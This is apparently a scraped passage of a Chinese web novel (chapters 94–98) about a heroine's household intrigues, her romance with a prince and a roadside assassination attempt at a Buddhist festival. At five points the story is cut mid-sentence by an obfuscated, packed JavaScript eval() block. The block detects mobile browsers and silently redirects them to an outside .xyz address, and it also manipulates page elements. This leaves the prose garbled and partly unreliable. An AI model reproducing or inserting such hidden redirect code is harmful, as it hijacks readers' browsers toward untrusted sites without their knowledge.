“姐姐请坐。”萧语柔示意她坐下,目光落在她略显凌乱的发髻上,“我只问你一句,你可知这萧家人为何非要赖在侯府不走?” 萧柔咬着唇,不敢看她。 屋内一时陷入沉默,只听得见窗外的风声。萧语柔心中一叹,这位救命恩人终究是太过软弱。若非当年萧虎起了贪念,也不会有后来那些事。 “姐姐还要替他们求情吗?”萧语柔淡淡问道。 萧柔抬起泪眼:“语柔,爹娘在龙都无处可去,哥嫂也才交到些朋友,兰儿她...她也不是有意的...” 萧语柔听着这些话,心中最后一丝期待也消散了。她站起身,走到窗前,看着院中飘落的梨花。 “这回我定要舅舅把你们全扣下。”她平静道,“就当是报你当年救命之恩。” 见萧柔还要说什么,萧语柔摆摆手:“让我奉劝你们几句,赶紧从这府邸滚蛋。你们不是这里的人,也玩不过别人的手段。若实在要留,就安分些,别掺和那些是非。” 待萧柔离开后,紫萱忍不住劝道:“小姐,好心当成驴肝肺,萧柔小姐自己不争气,您也帮不了她。” 萧语柔望着窗外渐暗的天色:“随她们去吧。” 夜色渐深,院里的灯笼一盏盏的亮起来。萧瑾带着剑来到圆智大师的住处,推门而入时,凌明正在诵经。 “我奉姐命来给你提个醒。”萧瑾冷着脸,手按在剑柄上,“当年的证据都在她手里,你最好安分些。” 凌明摸了摸光头,有些烦躁。烛光下,他的面容显得格外阴沉。他如今在龙都混得风生水起,早就想摆脱萧语柔的控制。 “贫僧与萧小姐一向和气,自然不会坏了约定。”凌明强压着怒气说道。 萧瑾冷笑一声,将一封信扔给他:“看看吧。” 凌明展开信件,目光快速扫过,眉头越皱越紧:“她要我查杨贵妃?” “做不好,你就可以离开龙都了。”萧瑾抬着下巴,语气中带着威胁,“你以为姐姐手里只有你是假和尚这一个把柄?你在龙都做的每一件事,我手里可都攥着实锤。” 凌明脸色发青,手中的信纸被捏得皱巴巴的:“知道了。不过你提醒萧小姐,浴佛节快到了,听说有人花重金请了高僧,是冲着侯府来的。” “说清萧点。”萧瑾眯起眼睛。 “本小姐又不是躲在长公主榻下偷听!”凌明气急败坏地说,“你赶紧走吧,长公主不是表面看起来那么简单,小心行事。” 萧瑾意味深长地看了他一眼:“要不是我威胁你,你根本不会说这些吧?” 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481850|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明不再说话,转身继续诵经。经声在夜色中回荡,显得格外诡异。 萧瑾离开后,直接去了萧语柔的院子。此时已是深夜,但萧语柔的房里还亮着灯。 “姐姐。”萧瑾推门进去,“凌明说了些事。” 萧语柔正在看书,听到妹妹的声音,她合上书本:“说说看。” 萧瑾将凌明的话复述了一遍,又补充道:“我觉得这和尚不太可靠,姐姐要不要换个人?” “不用。”萧语柔站起身,走到窗前,“他就算想背叛,也没那个胆子。倒是长公主那边...”她顿了顿,“你最近多注意些,别让人抓到把柄。” 萧瑾应了一声,犹豫片刻后说:“姐姐,萧家那边...” “不必管他们。”萧语柔打断她的话,“该给的机会已经给了,他们若是不知珍惜,那就让他们自生自灭吧。” 萧瑾点点头,正要告辞,突然想起什么:“对了,今天下午的事姐姐知道了吗?” “嗯,林婆子已经说了。”萧语柔淡淡道,“春蝶这步棋走得不错,就是不知道她还有什么后招。” “要不要我去警告萧菱?” “不必。”萧语柔摇摇头,“有些人不撞南墙不回头,就让她们自己去闯吧。” 萧瑾离开后,萧语柔又坐回案前。烛光摇曳,在纸上投下晃动的影子。她提笔写了几个字,又划掉,眉头微皱。 紫萱端着热茶进来,见状轻声问:“小姐还不休息吗?” “再等等。”萧语柔说,“我总觉得这事没这么简单。春蝶不会只做这么一手,她既然敢在侯爷面前演这出戏,必然是胸有成竹。” 紫萱想了想:“会不会是冲着浴佛节来的?” 萧语柔眼中闪过一丝精光:“你说得对,浴佛节...”她站起身,在房间里来回走动,“凌明提到有人请了高僧,春蝶又在这个时候发难...看来是要在浴佛节上做文章了。” “小姐要提醒萧家人吗?” 萧语柔停下脚步,望着窗外的月色:“不必了。有些人,注定要经历一场劫难才会醒悟。” 夜色渐深,院中的梨花依旧在飘落。萧语柔站在窗前,看着那些洁白的花瓣,想起多年前的那个夜晚。那时的萧柔也是这般萧萧可怜,可最终,她还是选择了沉默。 有些人,终究是救不了的。 第九十五章 收买高僧 萧瑾冷哼一声,瞬间消失在屋内。凌明站在原地,冷汗顺着额角滑落。这等轻功竟连长公主府的高手都察觉不到,实在令人胆寒。他下意识摸了摸脖子,仿佛还能感受到方才那股凛冽的杀意。 “阿弥陀佛。”凌明低声念了句佛号,转身离去时脚步略显凌乱。 夜色渐深,府中灯火次第熄灭。一道黑影悄然潜入桂成林的书房,月光透过雕花窗棂,在地上投下斑驳的影子。隐约可见那人蜡黄枯瘦的面容,眼中满是怨毒之色。 她小心翼翼地环顾四周,确认没有人跟踪后才推门进来。屋内陈设简单,一张檀木书案上堆满卷宗,烛台上的红烛已燃了大半。 “夫人深夜造访,有何贵干?”桂成林放下手中的毛笔,语气淡漠。 “侯爷何必明知故问?”女子咬牙切齿,“那**害得我儿身败名裂,你却视若无睹!” “夫人说的可是萧语柔?”桂成林眉头微皱,“此事已有定论,夫人还是莫要再提了。” “定论?”女子尖声笑道,“若不是她设计陷害,我儿怎会...” “够了!”桂成林猛地拍案而起,“证据确凿,容不得你狡辩。速速离去,否则别怪我不念旧情!” 争执声持续了许久。而这一切都已落在玉姨娘眼中,她暗自冷笑。自从掌管侯府以来,她的眼线早已遍布各处。 福寿堂内,檀香缭绕。老夫人屏退下人,听完玉姨娘和萧语柔的禀报,立刻猜到了昨夜之人的身份。那个收买高僧的人,她心中也已有数。 “这人还真是不死心。”老夫人轻叹,苍老的面容上浮现出一丝疲惫。 萧语柔坐在软榻上,纤细的手指把玩着几个精致的药瓶。这是前些日子宫里赏赐的玉髓参制成的药丸,效果比寻常灵芝强上百倍。就算是命悬一线的人服用,总算能撑得住。 “给祖母两瓶,再给岑陌两瓶,剩下的留着备用。”萧语柔将药瓶分好,动作轻柔地递给老夫人。 老夫人接过药瓶,笑意温和:“你倒是想得周到。”这段日子,她的气色确实好了许多,有时甚至恍惚觉得自己的命是捡来的。 “对了,你小舅舅来信说要浴佛节后才能进京。”老夫人提起桂远墨,手指轻轻抚摸着萧语柔的发丝,“浴佛节是千载难逢的庆典,本打算让你小舅妈跟你一道去,既然她来不及,你就跟外祖母一起去吧。” 萧语柔靠在老夫人膝上,乖巧地应了。然而想起前世浴佛节时的光景,她心中一阵发凉。那时她嫁入穆府,被穆老夫人管束,几乎足不出户。每逢节日,穆秋煜总是带着表妹出游,从未想过带上她。 春日的阳光透过窗棂洒进来,为她苍白的脸庞镀上一层淡淡的金色。萧语柔闭上眼,深吸一口气,将那些不愉快的回忆压下。 山上的秋围结束了,赵婷的嗓子也恢复了。太医们把脉也查不出原因,即便她一口咬定是萧语柔所为,就是找不到实锤。她躺在床上,眼中闪过一丝怨毒。 “小姐,”丫鬟小声道,“要不要请大夫人出面?” “出面?”赵婷冷笑,“她巴不得我**才好!” 丫鬟吓得跪下:“奴婢该死,不该多嘴。” 赵婷挥手示意她退下,望着窗外发呆。她知道,这次的事不会这么简单就结束。 岑燕燕心情愉悦地下山,马车沿着官道直奔侯府。路上遇到钱忠兄弟,又在后府门口碰见踌躇不前的梁暮雪。 春日的风带着淡淡的花香,吹起梁暮雪的裙角。她站在门口,欲进又止,眼中满是犹豫。 “我知道语柔妹妹受欢迎,但别忘了,我才是她最好的姐妹。”岑燕燕哼了一声,拉着梁暮雪进府。她的语气带着几分骄傲,却又透着一丝宠溺。 桂玥闻讯赶来,却见萧菱已经跟在岑燕燕身边献殷勤。她穿着鹅黄色的裙装,笑容谄媚。 “郡主,谢小姐,要不要去我院里坐坐?我这儿有好多稀罕物件。”萧菱热情地说道。 桂玥看着萧菱的样子,暗自发笑,上前行礼。她的动作优雅从容,却掩饰不住眼中的疲惫。 岑燕燕故意问道:“这位萧小姐何方神圣?”她的声音带着几分戏谑。 萧菱脸色一僵,嘴唇微微颤抖。 桂玥笑道:“她是五妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481851|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹的远亲,本该搬出去的,看在五妹妹面上才留下。” “远亲?”岑燕燕冷笑,眼中闪过一丝不屑,“语柔不是孤女吗?怎么现在富贵了,亲戚就冒出来了?” 萧菱涨红了脸,眼中含泪:“明明是萧语柔发达就不认人...” “再敢污蔑语柔,我让你满地找牙!”岑燕燕厉声打断,眼中寒光闪烁。 周围下人偷笑,萧菱含泪跑开。桂玥想说什么,却被萧菱骂了句“病秧子”。 这话最戳桂玥的痛处,她剧烈咳嗽起来,嘴里泛起腥甜,吓得春姨娘手忙脚乱地掏出手帕。 “小姐!”春姨娘慌张地扶住摇摇欲坠的桂玥。 萧菱边哭边走,泪水模糊了视线。突然,一个清朗的声音传来:“这是哪位小仙女?” 抬头一看,是个俊朗少年,肤色微黑却格外英气。阳光洒在他身上,为他添了几分少年意气。 “你是谁?”萧菱脸红了,心跳不由自主地加快。 “我叫钱忠。”少年笑道,露出一口白牙,“你是哪位小姐的闺蜜?” 话未说完,钱忠就看到了路过的桂婉柔,兴冲冲地跑了过去。他的背影潇洒,却让萧菱心中一痛。 萧菱痴痴望着他的背影,突然发现地上落了个精致的香袋。她弯腰捡起,手指摩挲着上面精美的刺绣。 这一幕恰好被桂婉柔看在眼里。她正欲和钱忠说话,钱涛却突然出现了。 桂婉柔一向害怕这个表哥那双仿佛能看透人心的眼睛。她下意识后退半步,手指绞着衣角。 钱涛淡淡道:“先去见语柔吧。”他的声音清冷,不带一丝温度。 “两位表哥是来找五妹妹的?”桂婉柔不愿放钱忠离开,声音中带着几分委屈。 钱涛凉凉地看着她:“我受了点伤,让语柔看看。四妹妹要成亲了吧,恭喜。” 这几句话,说得桂婉柔脸色发白。她咬着唇,看着两人远去的背影,眼中闪过一丝不甘。 春风拂过,带来远处的梵音。浴佛节将至,龙都已经开始热闹起来。然而在这表面的平静之下,暗流涌动。 第九十六章 赠人参 钱忠跟着钱涛离开,每一步都像灌了铅般沉重。他的目光不时瞥向身旁的兄长,想说些什么,却又咽了回去。 走出一段距离,钱涛忽然停下脚步,转身望向桂婉柔。他的目光如刀般锋利,直直刺入对方眼底,仿佛要将那层温柔的面具彻底撕碎。 桂婉柔心头一颤,下意识想要装出平日里那副温柔无害的模样。她轻轻抚了抚鬓角,嘴角勾起一抹恰到好处的笑意。然而钱涛只是淡淡收回目光,仿佛早已看穿了她的伪装。这让桂婉柔心中恼怒,却又无可奈何。 “钱涛!”她咬牙低语,目光追随着不远处的萧菱,迈步追了上去。裙摆在风中翻飞,带着一丝难以察觉的焦躁。 湖边凉亭内,萧语柔正和岑燕燕一同喂鱼。春日的阳光透过亭顶的藤蔓洒下斑驳的光影,映在湖面上波光粼粼。听闻钱涛来访,她将手中剩余的鱼食洒向湖面,看着鱼群蜂拥而至的模样,嘴角微扬。 “大公子受伤是我的过错。”她转身向钱涛道歉,语气诚恳。阳光下,她的面容清丽动人,眼中带着几分歉意。 钱忠在一旁笑道:“五妹妹太客气了。”心中暗叹,他和大哥如今倒是同病相怜,都是情路坎坷之人。想到这里,他不由得看了眼站在一旁的梁暮雪,眼中闪过一丝复杂。 萧语柔吩咐丫鬟准备点心,几人围坐闲谈。春风拂过,带来阵阵花香,茶香袅袅升起,氛围倒是和谐。 岑燕燕性格活泼,与钱忠你来我往,说笑不断。她时而掩唇轻笑,时而故作严肃,逗得众人开怀。梁暮雪起初还有些拘谨,但在这样的氛围中,渐渐也放开了。她的目光时不时瞥向钱忠,又快速移开。 “语柔,秋围那日连累了你和郡主,我特地来赔罪。”梁暮雪取出一只檀木匣子,打开后露出两支百年人参。人参表皮呈琥珀色,须根完整,显然是难得的好物。 萧语柔本想推辞,但见梁暮雪眼眶泛红,执意相赠,也就收下了。听说谢御史近来肩颈不适,她让紫萱取来自制药膏:“让谢御史每晚涂抹些许,应该很快就能见效。” 梁暮雪感激地收下,她早听闻萧语柔得到神医传承,这药膏定然不凡。她小心翼翼地将瓷瓶收好,眼中闪过一丝欣喜。 钱涛始终安静地坐在一旁,目光时而落在湖面,时而望向远处的山峦。直到萧语柔为他诊脉开方,也未多言语。这般沉稳的态度,反倒让萧语柔心中轻松不少。 阳光渐渐西斜,凉亭内的影子被拉得老长。待到时辰不早,几人约定浴佛节再会,便各自告辞。 梁暮雪临走前,故意落后几步,压低声音道:“御史台近日收到折子,参奏三皇子与墨王勾结,滥杀无辜。家父暂且压下,这事怕是藏不住了。”说完,她快步追上前面的人,留下一串轻盈的脚步声。 萧语柔看着梁暮雪离去的背影,若有所思。这番话的背后,或许意味着谢御史有意投靠岑陌。想到这里,她嘴角微微扬起。 春日的暮色渐渐笼罩下来,远处传来断断续续的鸟鸣。回到幽谷,萧语柔正要给岑陌写信,窗外传来轻叩声。 林妈妈领着她来到隔壁别院,岑陌正坐在一堆松木花中间,手持刻刀雕刻着一只鸾鸟。木屑纷纷扬扬地落下,在他周围形成一圈金色的光晕。 “三皇子似乎很喜欢鸾鸟。”萧语柔话一出口,忽然想起幽窖中那具红衣女尸,衣襟上绣着的正是鸾鸟图案。那抹红色在她脑海中一闪而过,让她不由得打了个寒战。 她摇摇头,试图驱散这个念头。鸾鸟又不是什么稀罕物,自己想得太多了。 林妈妈进来禀报热水备好,岑陌看了萧语柔一眼,起身去沐浴更衣。他的背影修长挺拔,却带着一丝若有若无的疲惫。 浴房里水声潺潺,混着熟悉的清香飘散出来。萧语柔不由想起他结实的身材,顿时面红耳赤。她在房中来回踱步,试图平复心跳。 “殿下,我在门外候着你。对了,我有事要说。”她的声音里带着一丝慌乱。 “嗯,现在说。”岑陌慵懒的声音透过水声传来,带着一丝蛊惑的味道。 萧语柔将谢御史的事说了,越说越兴奋:“三皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481852|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,看来御史府想搞好关系,他们认同你在西陲的功绩!”她的声音里带着掩饰不住的雀跃。 岑陌拨开珠帘走出,看着眼中闪着光芒的小姑娘,心头一暖。水珠顺着他的发梢滴落,在地上留下一串晶莹的痕迹。 “不是说要给人家检查腿伤?”他的声音里带着一丝戏谑。 萧语柔这才回神,看着只穿着素白里衣的岑陌,湿发搭在肩头,水珠顺着喉结滑入半敞的衣襟,顿时脸颊发烫。她的目光不知该往哪里放,手指不自觉地绞在一起。 “嗯。”她强自镇定,却见岑陌含笑向她走来,每一步都带着说不出的邪气。月光从窗外洒进来,将他的身影拉得修长,带着一丝朦胧的暧昧。 他蜻蜓点水般亲了她一口,留下湿漉漉的触感,随即往软塌上一坐。萧语柔的心跳得更快了,耳根都红透了。 她替他检查腿伤,发现伤处虽然在慢慢愈合,但还是需要静养。“殿下还是要少走动。”她叮嘱道,声音里带着关切。 “腿若是废了,阿柔就不要我了?”岑陌问,目光深深地看着她。 “当然不会。”萧语柔想了想,在他唇上重重咬了一口,“殿下要听话,否则腿伤难愈。”她的语气里带着几分娇嗔。 “再亲一下。”岑陌的声音低沉,带着蛊惑的味道。 萧语柔红着脸不理他,将玉髓参药丸递给他:“王爷要是不珍重自己的身子,人家才不要孤独终老呢,定要再嫁。”她故意板着脸说道。 说完便让林妈妈送她回去,没看到岑陌眼中一闪而过的复杂神色。月光透过窗棂,在地上投下斑驳的影子,仿佛诉说着什么不为人知的秘密。 夜色渐深,幽谷内一片寂静。萧语柔躺在床上,回想着今天发生的一切,心中五味杂陈。谢御史的态度,岑陌的伤势,还有那个挥之不去的红衣女子,都让她辗转难眠。 窗外传来虫鸣,断断续续,像是在诉说着什么。萧语柔翻了个身,将被子拉过头顶,试图入睡。然而那些思绪却像藤蔓一样缠绕着她,久久不散。 第九十七章 救人(一) 林妈妈站在廊下,目光紧盯着前方的岑陌。她轻轻整理了下衣袖,迈着小碎步走上前去。 “殿下,”她压低声音,神色谨慎,“那些人已经开始动摇了。只要让他们看到您的腿已经痊愈,想必很快就会放下顾虑,投奔到您的麾下。” 岑陌正倚在软榻上翻看话本,闻言只是淡淡地抬了抬眼皮,仿佛在谈论一件微不足道的小事:“他们知道便好。” 窗外的阳光透过纱窗洒进来,在他清冷的面容上投下斑驳的光影。他修长的手指轻轻摩挲着书页边缘,若有所思。 “对了,”他忽然开口,声音里带着不易察觉的冷意,“谢御史的折子,让他和大理寺一同递上去。” “小的立刻去安排。”林妈妈眼中寒光一闪,福了福身子便转身离去,裙摆在地上划出一道优雅的弧度。 待林妈妈的脚步声渐渐远去,岑陌放下手中的话本,眉头微蹙。他望向窗外的庭院,目光落在那株开得正艳的海棠上,眼中闪过一丝困惑。 为何阿柔对他的身材毫无反应?这与话本子里描写的完全不同。那些女子不是应该会脸红心跳,羞涩难耐吗? 想到此,他重新拿起新买的话本,一页一页仔细研读起来,神情专注得近乎虔诚。 与此同时,萧语柔已经回到了自己的院子。她推开房门,想起方才岑陌刻意展示的样子,忍不住趴在桌上笑出声来。那人怎么会这般可爱? 她摇了摇头,提笔蘸墨,在宣纸上写下“曾经沧海难为水,除却巫山不是云”几个大字,然后让萧瑾送去隔壁。 萧瑾接过字条时欲言又止,转身离去。 岑陌收到这行字时,眼中立刻浮现出笑意。在他看来,这分明是阿柔对他的暗示。他小心翼翼地将字条收好,唇角微微上扬。 夜色渐深,萧语柔已经睡下。朦胧间,她感觉身边多了一道熟悉的气息,带着淡淡的檀香。她下意识地往那温暖处蹭了蹭,很快又沉沉睡去。 岑陌静静地看着她的睡颜,月光透过窗棂洒在她的脸上,勾勒出一道柔和的轮廓。他伸手轻轻拂过她的发丝,心中那块千年寒冰仿佛被温暖的春水浸润,渐渐融化。 次日醒来,身边早已空无一人。但被褥上的压痕和那缕若有若无的清冷香气,无不昭示着昨夜的不速之客。 萧语柔看着床边散落的几片海棠花瓣,哭笑不得。她能听到门外萧瑾欲言又止的脚步声,却只是吩咐人换了窗户的插销。 谁知第二天晚上,岑陌竟从正门大摇大摆地走了进来。守夜的丫鬟紫萱还未来得及出声,就被他点了睡穴。 见他只是安分地躺在床边,萧语柔也懒得计较了。夜色渐深,两人相对无言,却又似乎说尽了千言万语。 几日后,龙都突然炸开了锅。几道**明泽公主**买官、滥杀无辜的奏折,让整个朝堂震动。那些与明泽公主府有关系的人,纷纷撇清关系,生怕受到牵连。 “二姑竟然干出这种事。”岑燕燕愁眉不展地来到侯府,眼圈微红,“她对我一向很好,可父王说了,这种事一旦曝光,就没有善终的。等着大理寺水落石出,可以洗清这一切谣言。” 萧语柔坐在窗边,手中的茶盏已经凉了。她太清萧这些罪名的真实性了。光是纵容王虎为非作歹,就已罪不可赦。更别说为了她那个傻儿子,不知害了多少无辜女子。这事一旦查实,就算皇上不出手,明泽公主也难逃一死。 岑燕燕见萧语柔不语,也不强求,叹息一声便告辞了。她走时的背影带着几分落寞,让人不禁心生怜惜。 浴佛节很快到来。这是一年一度的大节,侯府的小姐们都要出门参加。 许久不见的桂成林也出现了。虽然看起来憔悴了些,但精神尚可。他扶着老夫人上马车时,意味深长地看了萧语柔一眼,眼底闪过一丝晦暗不明的情绪。 “他不对劲。”等桂成林走远后,萧瑾抱剑坐在马车里低声道,眉宇间带着一丝警惕。 萧语柔看了他一眼,想起当初在西陲时墨王对萧瑾的态度,显然两人之间有些过节。不过既然萧瑾不说,她也不问。 “今日龙都达官贵人都会出门,你们要当心。”她提醒道,语气里带着几分担忧。 紫萱乖巧应是,眼睛却不停地往外张望,显然对这难得的热闹景象充满好奇。 清晨的街道已是人声鼎沸。各寺庙的僧人分发盐水煮豆,世家大族支起粥棚,甚至有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481853|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人直接散铜钱。街边小贩的吆喝声此起彼伏,香火缭绕中夹杂着各种食物的香气。 萧瑾看得目不暇接,眼中闪烁着惊奇的光芒。这般繁华的景象,在西陲是从未见过的。 萧语柔看着他的样子,不由想起萧星朗。也许姐弟缘分本就浅薄,即便相逢也难长久。不过只要他平安,她也就知足了。 马车驶出龙都,行人渐少,官道上却是车水马龙。各家马车上的帷帘随风轻摆,偶尔能看到一两张年轻的面孔从帘缝中探出来。 突然,马车停了下来。车轮碾过的声音戛然而止,前方传来一阵嘈杂。 “小姐,前方传来胸闷倒地声。”林婆子快步走来传话,“老夫人说,能救就救。” 萧语柔戴上面纱下了马车。春日的风带着些许凉意,拂过她的衣袖。 前面停着一辆普通马车,几个下人正急得团团转,脸上的焦急看起来十分真切。 “是我家夫人病了,还请大夫救救。”一个妆容花了的妇人哭着说,声音里带着哽咽。 萧语柔刚要搭脉,那“昏迷”的妇人突然睁眼,一手直取她咽喉。寒光乍现,杀意凛然。 千钧一发之际,马车突然四分五裂,萧瑾的长剑逼退了偷袭者。剑气纵横,将那妇人逼退数步。 “姐姐,躲在我身后。”萧瑾剑势凌厉,气势骤变。他的眼神变得锐利起来,浑身散发着凛冽的杀气。 侯府护卫立即拔刀迎敌,刀光剑影中充满了肃杀之气。 那妇人显然没料到萧语柔身边有如此高手,但想到任务在身,仍疯狂攻来。她的招式狠辣,每一击都带着致命的杀意。 十几招后,她的一条胳膊被萧瑾削断。鲜血喷涌而出,染红了地面。 血腥的场面吓得萧宁氏和萧菱尖叫不已。她们缩在马车里,脸色惨白。 那妇人见伤不了萧语柔,听见马车尖叫立马冲了过去。她的眼中闪烁着疯狂的光芒,似乎已经不在乎自己的性命。 萧菱吓得六神无主,下意识将萧柔推了出去。这一推让所有人都没有防备。 眼看利刃将至,一柄长剑穿胸而过,那妇人轰然倒地。鲜血染红了她的衣襟,生机迅速流逝。 第九十八章 救人(二) “啊!**了!”萧菱的尖叫声划破了寂静的清晨,刺耳的声音在山野间回荡。 鲜血在晨曦中泛着刺目的红,如同泼洒的朱砂,染红了路边的青草。萧瑾手中的剑依旧锋利,剑尖还在滴血,他面无表情地看了眼瘫软在地的刺客,又瞥向躲在马车后的萧柔。少年眼中闪过一丝冷意,仿佛在看一个与己无关的陌生人。 清晨的山路上弥漫着浓重的血腥气,几具尸体横陈在地,残留的杀意还未散去。护卫们警惕地环顾四周,生怕还有漏网之鱼。 “姐姐。”萧瑾收剑入鞘,带着几分少年人特有的骄傲走到萧语柔身边。他的衣袖上沾了些许血迹,却丝毫不影响那份与生俱来的贵气。 萧语柔轻轻按了按手腕上的玉璧,那是母亲留给她的遗物。虽然脸色发白,但她的神情依然镇定。这样的场面对一个闺阁女子来说过于血腥,但她却表现得异常冷静。 她没想到的是,小丫鬟紫萱虽然吓得面无血色,浑身发抖,却仍紧紧守在她身边,反倒是那林婆子早已瘫坐在地,嘴里不停地念叨着“活不成了”。 老夫人快步走来,裙摆被晨露打湿也顾不得了,将萧语柔揽入怀中,眼中满是后怕。她的手还在微微发抖,显然也被这突如其来的刺杀吓得不轻。 “你们...你们是**凶手!”萧菱歇斯底里地指着萧语柔,声音里带着恐惧和厌恶,“太可怕了,你们...” “闭嘴!”老夫人厉声打断,目光如刀,“再多说一个字,就给我滚出去!” 萧菱被这气势吓得一颤,萧宁氏连忙将她拉走,一边走一边小声安抚。但萧菱的眼神依旧充满惊恐,不时回头看向那些尸体。 萧语柔注意到,萧泰的目光在她和萧瑾之间来回游移,眼中闪过一丝复杂的神色,最后缩回了马车。这个平日里最会做人的大哥,此刻的表现却耐人寻味。 这些刺客来得蹊跷,恰好在他们出城不久就遇上,前不着村后不着店的地方,却偏偏选在这里动手。若说没有内鬼,打死她都不信。萧语柔的目光扫过众人,心中已有几分计较。 “这里交给我处理,还是先报官要紧。”桂成林安排好护卫,目光在萧瑾身上多停留了片刻。这个看似文弱的少年,方才出手时的凌厉让他都感到震惊。 老夫人这次说什么也不肯让萧语柔独自坐马车,非要拉着她同乘。她的手紧紧攥着萧语柔的衣袖,仿佛生怕一松手,孙女就会消失不见。 萧瑾得了一盒芷兰坊的点心作赏,心满意足地跟车夫挤在一处,吃得不亦乐乎。少年似乎已经忘记了方才的血腥场面,专注地享受着美食。 萧家马车内一片沉寂,只有萧菱偶尔的抽泣声打破这份压抑。空气中弥漫着一股说不清道不明的气氛,众人各怀心事。 萧柔缩在角落,身上的血腥味刺鼻,却无人关心她的死活。她的衣裳上沾满了血迹,那是刺客的鲜血溅上去的。 “要不你换身衣裳?”萧泰开口,语气里带着几分关切,“若是受惊了,可以自己坐车回去。” “多谢大哥。”萧柔强忍泪水,声音哽咽。她知道,这份关心更像是一种施舍。 “臭**,你出去坐吧。”萧虎冷冷地说,眼中满是嫌恶。 萧柔红着眼望向车外,正对上萧瑾晃着腿吃点心的欢快模样。少年似乎感受到她的目光,转过头来,眼中闪过一丝不屑。 半个时辰后,马车终于停在了福安寺山脚下。清晨的阳光洒在古朴的山门上,给这座千年古刹增添了几分神圣。 山门处,僧人正在施粥送豆,布施的香客络绎不绝。萧语柔刚要随老夫人上山,一个小和尚蹦蹦跳跳地递来一碟豆子,脸上带着天真的笑容。 “这是师父托我交给姑娘的。”小和尚笑眯眯地说,眼睛弯成了月牙。 萧语柔抬头望去,看到了白须飘飘的方丈正含笑看着她。老方丈站在高处,阳光为他镀上一层金边,显得格外慈祥。 见小和尚眼巴巴地看着萧瑾手中的点心,萧语柔笑着从萧瑾那里要了块绿豆糕递给他:“既是结缘,当有来有往。” 小和尚欢天喜地地接过,蹦蹦跳跳地跑开了,留下一串清脆的笑声。 身后众人的脸色却不太好看,特别是桂婉柔,咬着帕子的手指都泛白了。她方才去求豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481854|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,方丈说与她无缘,转身就走。 不止是她,桂玥萧菱等一干人等皆吃了闭门羹,唯独桂琳得了一小碟。可萧语柔的,却是方丈特意派人送来的,这份殊荣让人嫉妒得发狂。 周围的香客纷纷称赞萧语柔有福气,议论声此起彼伏。那些曾经传她克星煞星的人,此刻都闭上了嘴。 萧语柔将豆子给了萧瑾,扶着老夫人往山上走。石阶上香火缭绕,青石板被无数香客的脚步磨得发亮。 福安寺香火鼎盛,幸好侯府早已安排好了住处和听经的位置。寺中的小沙弥们来来往往,忙着招待各路香客。 萧家人仿佛看不见侯府下人的冷眼,一直跟在后头,只有萧柔被打发去换衣裳。她低着头快步离开,背影显得格外孤单。 上完香后,来往的贵妇们纷纷与老夫人寒暄。觥筹交错间,尽是些家长里短的闲话。 萧语柔看到岑燕燕朝她招手,便告罪一声走了过去。岑燕燕今日穿了件淡粉色的襦裙,衬得人越发娇俏可人。 “听说你们路上遇袭了?”岑燕燕急切地问,眼中满是担忧。 “消息传得真快。”萧语柔淡淡一笑。 “赵婷到处嚷嚷,说她家下人看见了。要不是我父王拦着,我都要去救你了。”岑燕燕握住萧语柔的手,语气中带着几分后怕。 萧语柔将她拉到僻静处,压低声音:“还记得秋围时的事吗?” “当然记得!有人想害我们!”岑燕燕的声音也跟着低了下来。 